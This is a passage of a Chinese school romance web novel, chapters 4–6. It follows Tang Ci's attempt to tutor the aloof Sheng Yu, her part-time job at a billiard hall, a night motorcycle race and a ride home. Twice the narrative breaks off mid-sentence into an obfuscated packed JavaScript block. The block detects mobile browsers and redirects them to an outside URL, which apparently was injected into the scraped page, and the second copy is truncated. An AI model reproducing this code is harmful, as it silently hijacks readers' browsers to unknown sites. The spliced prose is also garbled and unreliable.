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周弋阳疑惑回头,看到刚刚过去的汤慈此刻背着书包,纤细手臂艰难地搬动着书桌,吭哧吭哧地朝后门移动过来。 由于用力过度,她的双颊微微鼓起,宽大的镜框摇摇欲坠,眼镜后的一双圆眼睁得很大。 像个鼓足了气,却没什么脾气的河豚。 周弋阳突然发现,汤慈长得还挺不错。 她的举动不仅吸引了后门处聚集的男生,连班内同学也纷纷朝她投向讶异目光。 江蝉看她搬得吃力,忙跑过去帮忙,但不忘发表疑问:“汤慈,你这是要干什么去?” 汤慈慢吞吞抬眼,语气自然地说:“换座位。” 江蝉朝教室后方张望一圈,除了盛毓旁边缺个位置,哪还有什么空位。 她急道:“你换哪去啊?!” 话音刚落,汤慈已经将自己的课桌挪到了盛毓的课桌旁,再开口说话时微微喘着气,“这儿。” 江蝉和周弋阳他们面面相觑,一时间甚至不知道下一步该做出什么反应。 汤慈却一本正经地将凳子从座位上搬了下来,还顺便抬手抹了一下光洁额头沁出的汗。 但没急着坐下。 一班教室临近步梯,教室外的走廊不仅站着即将下楼的一班同学,还有同样要上体育课的七班学生结伴走过。 有不少女生借由上下课的时间来看盛毓,此刻看到教室内的这一幕都顿住脚步窃窃私语。 汤慈指尖按着桌面,垂着洁白纤长的脖颈,半耷着眉眼思考着什么,像个挂在枝头摇摇欲坠的茉莉花。 几秒钟后,她才鼓起勇气转头看向盛毓。 盛毓按着手机,掌心撑着下颌好整以暇地掀眸看过来,眉骨轻抬着,似乎是在等她开口。 汤慈能听到四周的纷杂的交谈声,也能感受到不断朝她打探的目光。 或鄙夷,或轻慢,或讥讽。 人人都觉得她这样的人,站在盛毓身边是割裂的,不合时宜的。 指甲逐渐深陷掌心,汤慈在众目睽睽之下终于后知后觉意识到了紧张,她压下喉口的紧缩,试图重振旗鼓,气若游丝的嗓音却将她的懦弱示众。 “我,我来给你补习。” 盛毓唇角扯出一个意味不明的哂笑,冷白的指骨轻点着桌面,反问她:“那怎么坐都不敢坐?” 4. 第 4 章 偌大操场一隅,体育老师带着学生做完基础热身运动,开始八百和一千的训练。 汤慈由于身体原因无法剧烈运动,从高一就请了体育课的长假,但她也没完全闲着,会跟着老师做一些拿器材、计秒之类力所能及的小事。 体育老师体谅女生怕晒,让女生先跑,汤慈从老师手中拿过计时器,调试好后,站在跑道边等待。 哨声响起,汤慈踩着女生们冲出去的步伐按下计时器。 跑完八百米最少也需要三分多钟,一般这个时间段,计秒的人都会放松下来,等人跑到跟前才集中注意力。 汤慈却不一样,自计时器上的数字开始跳动,她就入了定,一动不动看着跑道,时刻为计时做准备。 男生们或坐或站,三三两两散在草坪等待。 周弋阳正好坐在靠近跑道的位置,一抬头就看到汤慈的侧脸。 她戴着顶半新不旧的鸭舌帽,窄而小的下半张脸全被帽檐的阴影遮住,看不清五官,轮廓清秀柔和。 周弋阳拽了拽盛毓T恤的下摆,小声说:“你觉没觉得汤慈长得挺好看?” 盛毓眼皮没抬,“没注意。” 周弋阳掌心撑着草坪站起来,勾勾唇角,“你说她主动给你补课,还搬到你旁边是为什么?” 盛毓抬眸睇他,没接话。 周弋阳搭着他的肩,笑得浪荡:“喜欢你呗,眼看高三快没机会了,抓紧机会跟你相处。” 他随性惯了,说不着调的话时嗓音压不住,几步外的汤慈显然是听到了,下颌朝他们的方向转动一些,又很快停下。 西沉的日光趁虚而入,绕过帽檐在她鼻梁旁的脸颊上投下一小块金光,轻颤的睫毛簌簌颤动了几秒,不像害羞,更像是害怕。 盛毓嗤笑一声,拍开他的手,“你再废话,等会儿还得跑倒数。” 周弋阳肩膀一垮,他肺活量不行跑步长一点就吃力,想到马上要开始的一千米,抓紧时间调整呼吸,没再说闲话。 汤慈凝神看着跑来的女生们计时,然后将成绩登记在册,再抬起头男生都已经在跑道上站好。 盛毓排在队伍末端,姿态随性地摆出预备的姿势,长而矫健的腿部肌肉在运动裤内若隐若现,随着体育老师的一声哨响,他如敏捷的豹子一般弹跳起身,不紧不慢地跟在人潮后面。 场上的局势变化很快,五百米后,盛毓已经遥遥领先,和第二名拉开长距离,匀速地朝前奔跑。 他应该是刚理过头发,跑动时只有前额短而黑的发丝随风涌动,除此之外没有任何剧烈运动的迹象。 跑道外站着几个没走的女生,加油声贯穿整个操场,待他步伐临近终点时,女生们的欢呼声扬了起来,终于引起了盛毓的注意力。 他偏头看了过来,额头鼻梁的薄汗被日暮金光照得金黄灿烂,漆黑瞳眸都被映衬的幽沉多情起来。 有女生情不自禁举起手机拍照。 咔擦声惊醒愣住的汤慈,她慌忙垂眼按下计时器,手上动作比盛毓的脚步慢了一秒。 汤慈懊恼地抿了抿唇,抬眼全神贯注看着跑道,却还是在盛毓从她身侧走过时,本能地屏住了一秒呼吸。 江蝉一直坐在身后的草坪,等她忙完才拉她一起去小卖部,刚出操场远离班级同学,江蝉就急切问她:“你怎么搬到盛毓旁边了?你知不知道学校论坛都传疯了!!” 汤慈把奖学金的事告诉了她,江蝉听了长呼一口气,“原来是这样,但你也太莽撞了吧,盛毓都还没答应你怎么就自作主张搬过去了?” “我觉得这样更容易让他答应。”汤慈语气诚恳。 江蝉倒吸一口凉气,咬着冰淇淋挖勺含糊道:“我突然发现你胆子很大啊。” 汤慈舔舔干裂的唇瓣,打开小卖部促销买一送一的矿泉水喝了一口,“有吗?” “有啊。”江蝉压低声音,“你跟老陈请假说晚自习在家学习,其实是去台球厅打工了吧。” 暑假汤慈常在台球厅工作,江蝉去找过她几次,因此知道她一直有在做兼职。 汤慈被水噎了噎,小声道:“台球厅能复习也能赚钱。” 看着她认真解释的模样,清润的圆眼微微睁大,无辜的让人心疼。 想到汤慈家里复杂的情况,江蝉难过地捂住胸口,说:“这都高三了你怎么还天天想着赚钱?你的病不是没大碍吗?要攒上大学的钱?” 汤慈垂下眼睛,含混地点了点头。 到操场时,篮球场上已经打了一场比赛,穿着运动服的男生们正靠在铁丝网上休息。 郑姝瑶被姐妹簇拥着进球场给盛毓递水,盛毓躬身从篮球架下拎起自己的水瓶,无声地拒绝了。 郑姝瑶追了盛毓两年,大大小小的闭门羹吃了不少,但想到盛毓也从没接受过其他女生的好意,她心里好受了些,仍笑着和他搭话。 盛毓有一搭没一搭地回,开赛时抬下颌朝郑姝瑶了示意了一下就转身上场。 郑姝瑶识趣地走出球场,却没走远,仍和朋友在铁丝网外观望,其中一个女孩看到进操场的汤慈突然怼怼郑姝瑶的手臂。 几个女生目光齐刷刷看向汤慈,郑姝瑶的视线从汤慈脸上转移到她手中的矿泉水瓶,讶然地抬了抬眉才转开目光。 汤慈注意到女生们的视线,指尖捏了捏廉价矿泉水瓶软塌塌的瓶身,意识到她们误会自己要给盛毓送水。 余光下意识朝球场看去,汤慈看到,盛毓喝了一半的矿泉水还放在篮球架上。 瓶身上印着粉色的英文标签。 汤慈在小卖部的冰柜里见过很多次这个牌子的矿泉水,但一次也没买过。 十八块钱一瓶的矿泉水。 原来真的有人买。 手中的矿泉水瓶微微发热,汤慈脚步不自觉加快了些。 / 放学时,汤慈帮着体育老师收拾器材室,教室没剩几个人,她扫了一眼盛毓空荡荡的桌面,背起自己的包也出了教室。 临近周末,台球厅顾客多了起来,有几桌都是附近大学和职高的学生。 汤慈原本的工作是负责收银和办卡,但摆台小哥小妹忙不过来时,她也会过去帮忙。 手上刚摆好一桌台球,身后的阿文就喊她,“小慈,九号桌也帮我摆一下——” 九号桌就在她身后,汤慈对阿文比了个ok的姿势,转过身时动作却滞住。 周弋阳睁大双眼,“汤慈?你也翘课打台球?” 汤慈视线从周弋阳旁边的身影上停顿一秒,抬起手中的摆球框给周弋阳看,“我来做兼职。” 周弋阳笑了一下,“不愧是学霸,勤工俭学,真努力。” 汤慈尴尬地示意挡住台球桌的周弋阳往旁边让让,周弋阳让开,露出站在盛毓旁边身材娇小,却气势凌人的女生。 女生标准的五官上画着精致的妆,卷发柔顺搭在胸前,是让人过目不忘的那种漂亮。 乔熙露出大大的笑容,嗲声嗲气仰头对盛毓说:“你们和汤慈是高中同学啊,好巧啊,我和她是初中同学。” 汤慈看着乔熙脸上熟悉的笑容,浑身的血液凝固了一瞬,摆球的动作都僵硬起来。 她依稀记得,初中时乔熙也总是对她露出这样天真的笑容,带着全班的女生带头孤立她,美名其曰让她这个只知道学习的废物能有个安静的环境。 不知道算不算是因祸得福,初中没有朋友备受排挤的时光,反倒真的让她从末流的初中以优异的成绩考上了一高。 金铭还因为上次和宋恪斗嘴而对汤慈颇有微词,他冷哼一声,不客气地小声嘀咕:“怎么哪都有这个书呆子。” 乔熙敏锐地捕捉到金铭话中的意思,她冷眼打量汤慈,正好看到汤慈小心翼翼从盛毓身上移开的目光。 她不屑地勾了勾唇角。 他们是第一次打台球,周弋阳看汤慈摆完台,问她打台球的基础理论。 汤慈耐心地和他讲解了进球的规则,周弋阳又问:“能教一下我们动作吗?” 陪练都在忙碌,汤慈只好拿起球杆躬身示范,由于不太熟悉,她的动作也有些许生疏。 乔熙“噗呲”笑出了声,嗓音很甜地开玩笑道:“汤学霸,你真的会吗?这个姿势好搞笑哦。” 汤慈侧目,看到盛毓正双手插兜,没什么表情地看着她。 耳根蓦然发烫,她局促地收起球杆,轻声说:“我去给你们找陪练。” 汤慈和三号台即将结束的陪练说了一声,就回到前台,苗苗就眼冒星光地凑到她跟前,“你看到了吧,九号桌那个帅哥好正。” 从包里拿作业的动作没停,汤慈含混地嗯了一声。 苗苗捧着脸颊,八卦地解说:“他们桌那个漂亮姑娘眼睛都快黏他身上了,一看就是对他有意思。” 汤慈抬起眼皮,看到乔熙正垫着脚凑近盛毓说话。 盛毓垂着头,看不到五官神情。 眼前这幅画面,任谁看了都会觉得两人般配。 汤慈用力捏紧书包的拉链,错开视线时眨了眨酸涩的眼眶。 苗苗又磨蹭了一会儿,抬腕看手表上的时间,“走了走了,我今天下班都推迟半小时了。” 汤慈对她笑了一下,说:“你回家注意安全。” 苗苗被她乖巧的模样击中,伸手捏了捏她的脸,“还是小慈宝宝知道关心人。” 她走到门边又依依不舍朝九号桌瞟,忽地歪头嘀咕了一句,“我怎么觉得这帅哥有点眼熟呢……” 汤慈已经开始解题,没听到她的话。 物理作业写完,还没等合上习题集,汤慈听到桌子被人叩叩敲响。 “有什么需要吗?”她说着抬起头,手中握着的中性笔一顿。 盛毓手中的软烟盒在桌面上一敲,垂眼问:“哪能抽烟?” 汤慈瞥了一眼墙上贴着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942239|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁烟告示,指了指后院说:“那里。” 盛毓却没动,“带个路?” “噢……好,好的。”汤慈放下手中的笔,动作慌乱地从凳子上站起来,四肢有些僵硬地带他朝通往后院的大门走。 呼啦,汤慈轻声推开门,才将一直黏在地板的目光抬起来,但只停在男生的衣领处,“外面都可以抽,垃圾桶上面有烟灰缸。” 打火机砂轮磁啦一声响起,后院晦暗的光影中多了猩红的一点。 盛毓指间夹着点燃的烟,却没急着抽,他密匝匝的睫毛向下压,漆黑目光冷厉打量着看也不敢看他的汤慈。 汤慈咽了咽喉咙,说:“我先回去了。” 嘭—— 话音刚落地,眼前的推拉门就被盛毓猛地阖上,他骨节分明地掌心按在门框,将站在门边的汤慈圈了起来。 汤慈本能地屏住呼吸。 盛毓语调没什么起伏地问她,“没别的要说了?” 汤慈咬了一下下唇,压低声音明知故问:“补习的事,你同意吗?” 盛毓抬抬眉骨,“少在这儿装,你不是挺会先斩后奏的吗?” “对不起。”汤慈立刻识趣道歉,想了想又干巴巴问:“……那你同意吗?” 盛毓冷嗤一声,躬身用低磁的嗓音在她耳边一字一句说:“听着,我没空陪你玩游戏。” 清浅呼吸拂耳,汤慈感觉浑身的神经末梢都在震颤,她慌张抬眼,对上他深潭一样的眸子。 类似某种冷血动物,盛毓毫无情绪的睨着她,再次沉声警告。 “周末一过,把你的桌椅给我搬走,别再来烦我。” 推拉门再次打开,汤慈被盛毓吐出的烟雾迷了眼,脚步稍稍慢了些,肩膀就被他微凉的掌心扣住,轻而易举将她推进了室内。 汤慈脚下趔趄,回头看了一眼玻璃门外模糊挺拔的背影,捂着被按得生疼的肩膀回了前台。 / 接下来的两个小时,汤慈都没朝九号桌投去过视线。 但即使一直垂着头,也难免会听到他们的谈笑声,年轻的男孩女孩谈天说地,无所不聊。 乔熙话很多,时不时就要朝盛毓搭话,拐弯抹角问了几个无关紧要的问题后,才暧昧抛出真正想问的话。 “盛少爷喜欢什么样的女生啊?” 盛毓语气冷淡:“不搭理我的。” 乔熙柔声笑开,仗着自己足够漂亮仍贴着他,半真半假开玩笑,“看来盛少爷最被人缠得很紧啊,谁这么不识趣啊……” 汤慈戴上耳机隔绝掉了四周的声音,一直到解完一道难题才停下笔。 她垂眸咬着笔帽讷讷想了一会儿,盛毓应该是真的很讨厌她。 胸口郁结着酸涩难言的空气,得心应手的数学试卷,她花了比平常多一倍的时间才写完。 临近她下班,汤慈庆幸盛毓他们还不走,不然如果是她给九号桌结账的话,她怕盛毓又会因为看到她而烦躁。 背着包走回家时,由于脑子里装满纷杂思绪,汤慈不自觉按照惯性走了最近的路线,耳边响起鼎沸的人声,她才醒过神发觉自己走到了排挡街。 沿路烧烤店的桌椅歪歪扭扭摆到了人行道,几步外坐着的一个中年男人正脱下工字背心。 汤慈别开脸,转身想原路返回到岔路口,却发见身后不知道什么时候跟上了两个醉醺醺的壮汉,正互相攀扶着深一脚浅一脚朝她走过来。 掌心倏地攥紧,汤慈慌忙走下人行道,试图横穿马路,两个醉鬼嘴里嘟囔着跟了上来。 “小姑娘,成……成年了吗?” “别走啊,吃不吃宵夜……” 她咬紧牙关,干脆转头快步朝前走,飘扬的书包带被身后的醉鬼猛地拽了一把。 汤慈用力站稳,吓得低声叫了一声,环顾四周皆是沉浸酒局的人,根本没人在意马路中间发生了什么。 她快速平复好情绪,双手攥紧书包肩带闷头朝前跑。 胸口因紧张和突然的运动闷窒,但汤慈不敢停下脚步。 突然一道刺眼的光束照在黢黑的沥青路面,耳边传来机车嗡嗡的长鸣声。 汤慈回头的瞬间感觉到一阵急风从耳旁刮起,漆黑庞大的机车从她身侧倏地开过。 身后的两个醉鬼已经摔倒在地,正骂骂咧咧试图从地上站起来。 重型机车调转车头再次朝两人撞过去,两壮汉吓得瞬间酒醒,歪七扭八从油腻的地面爬起来,快速跑上人行道,眨眼间就不见了踪影。 又有三四辆机车开过来,打头的周弋阳推开头盔镜片,扬声问不知道为何掉头的盛毓:“毓哥,咱们不是去北山跑一圈吗?” 盛毓没说话拧动车把掉头,从汤慈身边再次开过。 汤慈咽了咽喉咙,拨开黏在额头的碎发,只来得及看到头盔内盛毓一闪而过的眉眼。 冷厉而疏离。 没有想帮她的意思。 5. 第 5 章 周一汤慈一进教室,发现自己的桌椅已经回到原位,摆放分外歪斜。 还没到早自习上课时间,同学们正聊着天吃早饭,在看到她进门后,教室内的热闹卡顿了几秒。 郑姝瑶看着汤慈放下书包,微蹙着眉问她:“你不和盛毓坐同桌了?” 汤慈挪动桌角和地砖缝隙对齐,坦然道:“他让我搬回来。” 郑姝瑶松了口气,脸上有了笑模样。 邹强斜着眼看向汤慈:“那你就老实在这儿坐着吧。” 他话说完,和周围几个同学笑了起来。 邹强一直是奖学金的候选人,奈何班里有汤慈这个年纪第一,他次次都落空。 这次他得知汤慈不仅要拿常规的奖金,还要走互助的野路子,企图拿到第二份奖金。 他心里酸得没边,见汤慈被讽刺也无动于衷,于是继续捏着嗓子调侃:“谁能想到汤学霸这样的人还会倒贴男生呢。” 四周的目光密密匝匝投向汤慈,汤慈张了张嘴,似乎是想说什么,最终还是垂下眼沉默着坐了下来。 江蝉咬着牛奶吸管进教室,刚好听到邹强这句话,气势汹汹走到他桌前,“你一大早放什么屁,上周没听到汤慈是要给盛毓补课啊。” 邹强没被她的气势压倒,轻佻地耸耸肩,“用这个借口接近盛毓的人不要太多,谁知道她想干什么啊。” 江蝉皱紧眉头想继续和他争吵一番。 汤慈站起来拉住她的手臂:“快吃饭吧,马上要上课了。” 江蝉坐到汤慈身后的位置,愤愤道:“他那么说你!你不生气啊?” “他就是因为总把注意力放在我身上才考不过我,”汤慈表情认真,声音很轻,“我越不理他,他越生气。” 江蝉被她的理论震惊两秒,醍醐灌顶地点头,“……好像是这个道理诶。” 两个女孩笑起来,拿出周末的物理作业讨论。 宋恪背着包凑过来,站在汤慈的桌边笑着问:“对着作业笑这么开心?” 物理是宋恪强项,江蝉叫住他,“班长,看看你的作业。” 汤慈旁边的同学还没来,宋恪自然而然坐了过去。 他和汤慈初中就在一个学校,还做过两年的同桌。 汤慈早已习惯宋恪坐在身侧,所以当他从书包内掏作业时手臂和她贴了几秒时,她没有感到不适。 周弋阳和盛毓一前一后进了教室,周弋阳一坐下就扭头朝盛毓抱怨,“少爷,我一大早来帮您搬桌椅,您就一点表示都没?” 盛毓把小卖部买来的一袋吃的都递给他。 周弋阳勾唇调侃,“您这不沾女孩的病越来越严重了,现在连女孩坐过的桌子都碰不得了。” 盛毓扬了扬眉,“我看你搬得挺乐意的。” “我也就是看她长得漂亮才帮忙。”周弋阳视线扫到汤慈,突然用手肘怼了怼盛毓,“你快看。” 盛毓掀眼,教室前排汤慈正和宋恪挨在一起看题,“怎么?” “我怎么感觉汤慈对宋恪才像是喜欢,”周弋阳凝眉思索,“对你更多的是害怕。” 盛毓冷哼一声,“我求之不得。” 周弋阳仰天感叹,“丘比特一天到晚地射你真是瞎了眼。” / 下完几场暴雨,时间溜到九月,天气仍不见凉爽。 高一高二学生都已开学,校园恢复往日热闹,大课间小卖部和食堂都排起了买水的长队。 汤慈下楼时就拿上了水杯,做完操直接去水房打开水喝。 早上泡的速溶咖啡在塑料杯底沉淀,她先到公共卫生间外的洗手台洗杯子,刚打开水龙头,空气中突然飘来一股焦躁的烟草味。 她皱了皱鼻子,抬眼朝四周望了望,又迅速垂下眼。 几个男生刚从卫生间抽完烟出来,正激烈聊着什么朝对面的洗手台走来。 金铭愤愤踹了一脚台阶,“林尧这个阴沟里的老鼠,上周末比赛他绝对是故意撞的毓哥。” “次次都输,急眼了呗。”周弋阳冷哼。 谷然扯着唇角嘲讽,“结果还是毓哥稳稳拿第一,他自己摔个狗吃屎。” 周弋阳和金铭哈哈笑起来,话题中心的盛毓却好像没什么兴趣,径直走到洗手台洗手。 水声哗哗击打大理石水槽,四周又过来几个同学,汤慈趁乱轻掀眼皮,隔着台面,快速看了一眼站在她侧对面的盛毓。 他很高,腰部以上高于台面,黑色衬衫勾勒出他挺拔肩背与劲瘦腰腹,衣袖内伸出的手臂修长有力。 只是手肘到腕骨一片深红的擦伤痕迹,在冷白的皮肤上格外明显。 汤慈睫毛轻颤,洗杯子的动作慢了下来,待对面的男生相继离开后,她才慢吞吞拧上水龙头,握着湿漉漉的塑料杯,看着盛毓的背影揪起了眉头。 离上课还有五分钟,汤慈神色凝重抱着杯子站在楼梯转角,目送完第四波上楼的同学,她才终于下定决定去到医务室。 到门口时,汤慈和两个隔壁班的女生擦肩而过,她注意到女生的怀里抱着装药的纸袋。 她没在意,敲敲门进入医务室。 小杨医生正整理着医药箱,头也没抬地问:“怎么啦?” “我想开一点擦伤的药,”汤慈抿抿唇,小声撒谎,“我膝盖不小心撞墙上了……” 小杨医生抬起看了一眼她的裤子,“严重吗?撩起来我看看。” 汤慈攥了一下裤缝,佯装淡定道:“不严重,您给我开药就好,我自己回去抹。” 小杨医生笑眯眯“哦”了一声,麻利地配好包扎和涂抹的药品,装进纸袋递了过来。 “谢谢医生。”汤慈接过,“一共多少钱?” 小杨医生说了价格后,汤慈从口袋里掏出钱包,数好钱,正要放到桌上,小杨医生又悠悠开口。 “给盛毓买的吧?” 心下一惊,一个一元硬币从她手中脱落,在地板上转了两圈才停下。 汤慈揉了一下发热的耳尖,弯腰捡起硬币,没有回答医生的问题。 小杨医生看她局促羞赧的模样,笑得温柔,温声提醒她:“在你之前已经有六个女生给盛毓买药了,你得加快速度了哦。” 耳尖的热度蔓延到脸颊,汤慈攥紧纸袋,礼貌点头,“……谢谢医生。” 汤慈到教室的时候,同学基本都在座位上坐好,她突然觉得手中印着卫生标识的纸袋像个醒目的炸弹,于是将纸袋藏在背后快速坐回了自己的位置。 纸袋放进桌斗的瞬间被同桌瞥见,同桌随口问她:“你去医务室了?身体不舒服啊?” 汤慈顿了顿,含混道:“胃有点不舒服。” 同桌关心两句,把镜子立在书架上,将松垮的马尾重新扎了一遍。 汤慈视线扫了一眼镜面,看到最后一排单独的桌椅空着。 盛毓还没来。 但他桌上已经摆满了药品和精美的礼物包装盒。 她默默垂眼,把纸袋又往桌斗里面塞了塞。 / 台球厅进入旺季,席静调整了一下排班制度,各个班都加了人手。 前台由一人工作改成两人,汤慈和调到晚班的苗苗一个班。 汤慈刚到台球厅就接连赶上几波顾客,她和苗苗分工开台,办卡,收银,一口气忙碌半小时才歇下来。 苗苗开了一听可乐,灌下一半才悠悠喘口气,看着汤慈穿着校服的小身板,突然想起来什么,抬手拍她。 “我想起来九号桌的帅哥是谁了!”苗苗语调高高扬起,“是经常在北山比赛的那个冠军摩托车手。” 汤慈慢半拍地重复,“摩托比赛?” 苗苗点头,靠近她问:“我记得听人说过他是你们一高的啊,这么帅你都没印象吗?” 她歪着脑袋,回忆着说:“叫盛yu,不知道是哪个yu。” “钟灵毓秀的毓。”汤慈说。 苗苗愣了一下,“你认识啊?” 汤慈:“他是我们班的。” 苗苗不解,“那天怎么没见你们说话。” 汤慈捏了一下被盛毓按过的肩头,“我们不熟,在学校也没怎么说过话。” 苗苗理解点头,“看着就高冷,估计都不记得你。” 汤慈指尖按着中性笔没说话,翻了几页书之后,突然问:“他们那种摩托比赛危险吗?” “那是相当危险。”苗苗放下手机,手肘撑着桌沿侃侃而谈,“比赛的都是社会和附近学校的混混,没有人管,跑起来不要命,耍阴招的更是数不过来。” “不过盛毓只要跑,就是第一。”苗苗面露兴奋,“是不是很牛逼?” 汤慈没回答她的问题,轻拧着眉问:“那会有人受伤吗?” 苗苗凑到她耳边压低声音,“受伤都是小事,之前还有人从山上摔下去过,听说后来学都不上了。” 汤慈咽咽喉咙,“那怎么还有人敢比赛?” “妹妹啊。”苗苗拍拍她的肩,“你这种象牙塔里的尖子生不懂,摩托比赛玩的就是个刺激,肾上腺素飙升起来,哪还顾得上生死啊。” 汤慈脸色在白炽灯下显得发白,没什么血色的嘴唇抿成直线,过了一会儿才又问:“下次比赛,你能带我去看看吗?” 苗苗讶然,“你好奇啊?” 汤慈点头,“以前没见过。” “行。”苗苗爽快点头,“不过你可别让静姐知道啊,她特意嘱咐过我别把你带坏了。” 汤慈勾了一下唇角,“放心。” 机会来得很快,周四晚上下班前,苗苗得到消息,北山今晚聚集附近几个学校的赛车手跑友谊赛。 “你下班想去看吗?”苗苗问。 汤慈笔尖顿了一下,“都有哪些学校的人啊?” “科技大和职高还有你们学校几个男生,”苗苗语气犹豫,“不过我们到的时候可能快比完了。” 汤慈加快速度写完最后一个单词,果断合上习题册,“去吧。” 苗苗骑一辆小号橘粉摩托,她将车把拧到底,用和摩托外表不相符的速度在机动车道飞驰。 转弯时,苗苗不忘转头慰问汤慈,“速度会不会太快?你要是害怕的话我减速?” 汤慈双手抓紧苗苗的衣摆,眯着被风吹得睁不开的双眼,摇头气若游丝道:“……还行……不用。” 苗苗看不见她惨白的脸,油门一加,拐进北山下的林荫老街。 老街狭窄,路灯隐藏于茂盛梧桐枝头,两侧破旧居民楼的铁门内时不时驶出一辆电动车。 苗苗已经提前减速,但还是同一辆从暗巷驶出的死飞狭路相逢,骑死飞的男孩眼见要撞到她们,车把用力朝右一撇,和朝左转动车把的苗苗撞了个正着。 砰—— 男孩和苗苗都被撞得在车座上猛颠了一下身体。 汤慈直接从座位上摔了下来,膝盖撞上花坛的瓷砖。 突然尖锐的疼痛,让她额角冒出冷汗,在苗苗的搀扶下起来时,汤慈撩开裤管看到擦伤的膝盖,心里想是,人果然不能说谎。 男孩手足无措凑上前,“你,你摔得严不严重啊?” 汤慈放下裤子,活动了一下,感觉膝盖除了有些疼并无其他大碍。 “没什么事,”她摇摇头,对苗苗说:“我们走吧。” 苗苗不放心,本想带她去附近的诊所看看,在汤慈坚持自己没事后才作罢。 男孩见汤慈走路正常,也放心骑上车走了。 电动车停在北山下的停车场,两人步行上山。 “观赏地和终点都在半山腰,”苗苗扭头最后一次向她确认,“你要是腿疼我们就不上去了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见盛毓摘下头盔,女孩们一窝蜂围上去,矿泉水递了一圈,他照旧不收,拧开自己的运动水壶喝水。 留着长卷发的姑娘凑近了些,“盛毓,你每次跑完就走,就不能留下来跟我们玩一会嘛。” 盛毓将汗湿的额发拨到头顶,锋利的喉结滚动着吐出几个字,“玩什么?” “打个赌什么的呀。”姑娘们目露期待看向他。 盛毓抬眉嗤笑,“除了压我赢还有别的选项吗。” 这话说得狂妄,但他说出来却格外合理。 第二第三辆机车接连到站,是金铭和林尧。 金铭好不容易跑了第二名,摘下头盔脸上的得意藏不住。 林尧不屑地低声道:“一个友谊赛你高兴什么,周末正式比赛你等着。” 金铭朝他吐了吐舌头,“再等你也拿不了第一。” 林尧阴沉着脸,从车上下来,活动着手腕想上前找金铭的麻烦,被盛毓一个冷厉的眼神定在原地。 尽管暗地里使了不少绊子,但林尧没有正面和他起过冲突,他摸了摸眉骨上盛毓给他留的那道疤,咬着后槽牙到栏杆处抽烟。 人群外的栏杆处,苗苗戳戳汤慈脸颊上的软肉,“你真不过去?” 汤慈摇头,视线从被女生包围的盛毓身上移开,看向了一旁的赌桌,若有所思地蜷起了指尖。 又在观景台逗留了一会儿,两人决定下山。 山上人多,自她们上来,别说和盛毓接触,汤慈就连视线也没和他相交,盛毓应该都不知道她今晚也在这儿。 但汤慈神情平淡,返程时也丝毫没有遗憾。 苗苗却觉得心酸,为汤慈大晚上白折腾一趟感到不值。 所以当她从后视镜看到独身一人的盛毓时,她迅速做了个决定,“汤慈,你下车。” 汤慈懵然但听话地从后座下来,“怎么了?” “我想起来钥匙忘台球厅了,得回去拿,你自己想办法回家吧。” 苗苗扬声说着,把汤慈朝身后的斑马线推了推,随后右拐迅速消失在了夜色中。 汤慈讷讷转头,撞上盛毓的视线,后知后觉地明白过来苗苗在创造她和盛毓相处的机会。 等红灯期间,男生跨坐在机车上,长腿随意踩在地面,干燥的碎发在夜风中涌动,目光略带审视地睨着她。 汤慈心虚地搓了搓手,“……好巧。” 盛毓早看穿她们拙劣的伎俩,他冷着脸扫视了一圈周围空荡荡的街道。 那是一个没有线上叫出租车的年代,临近深夜,公交车早已停运。 汤慈没有得到回应,尴尬地低下头,柔和的五官轮廓隐藏在发丝下。 她沉默地从他车前走过,脚步很轻,像是怕打扰到他。 盛毓甚至能看到她纤细脖颈上的颈骨在橙黄灯光下一节节凸起,夜风鼓起她的校服衬衫,露出瘦削得可怜的身形。 汤慈走到岔路口,茫然地朝两边的街道瞅了瞅,完全不认路的样子,踟蹰几秒钟便走向了朝南的斑马线。 听到身后机车嗡鸣发动引擎的声音,汤慈松了一口气的同时,胸口难以自控地发闷。 她只能在心里自我安慰,盛毓原本就没有帮助她的义务。 她抿着唇加快脚步,后衣领却忽地一紧。 汤慈紧张地回头。 看到脸色很臭的盛毓,正把她当鸡仔一样拎了起来。 感觉到他坚硬的指骨抵着她后颈处的皮肤,汤慈的呼吸频率瞬间加快,她磕磕绊绊地询问,“有,有什么事吗?” 盛毓松开了手,汤慈脚底落地的瞬间,看到他摘下车把上的头盔掷了过来。 汤慈下意识双手接过,听到他说:“上车。” 6. 第 6 章 汤慈抱着头盔,迟疑了一秒说:“还是你戴吧,你在前面更危险。” “少废话。”盛毓没什么耐心地朝她怀里抬了抬下颌:“护带打开。” 汤慈不知道什么是护带,但识相地没多问,摸索着打开头盔下的搭扣,撑开两边的的海绵,把头盔戴在了头上。 看盛毓没有表现出不满,她松了口气。 机车快要比她高,汤慈一开始没跨上去,试了两次才姿势狼狈地爬了上去。 坐稳后,盛毓问她,“你家住哪?” 汤慈紧紧扶着后座:“槐杨街,天韵小区。” 盛毓拧动车把,机车倏地一下开了出去。 汤慈没有防备,被惯性推着撞上了盛毓的后背。 夏末初秋的夜晚,凉风阵阵吹拂,隔着单薄的衣衫,汤慈能感觉到盛毓皮肤上散发出的温度。 脸颊轰然发烫,灼热呼吸在头盔内循环,汤慈头晕目眩地道歉,“对不起,我不是故意的。” 盛毓没有减慢速度,清冽的嗓音被夜风稀释的轻柔,“抓着我衣服。” 汤慈迟疑地伸出手,抓住了深色薄夹克的下摆。 北山到槐杨街十二公里,开过几条陈旧的老街,机车开到灯火通明的夜市,夜市的垭口处刚走一辆拉上乘客的出租车,又停下一辆。 汤慈看到出租车挂出来的空车灯牌,心里骤然紧张,怕盛毓直接将她撂下,让她打车回家,虽然这是最有可能发生的事情。 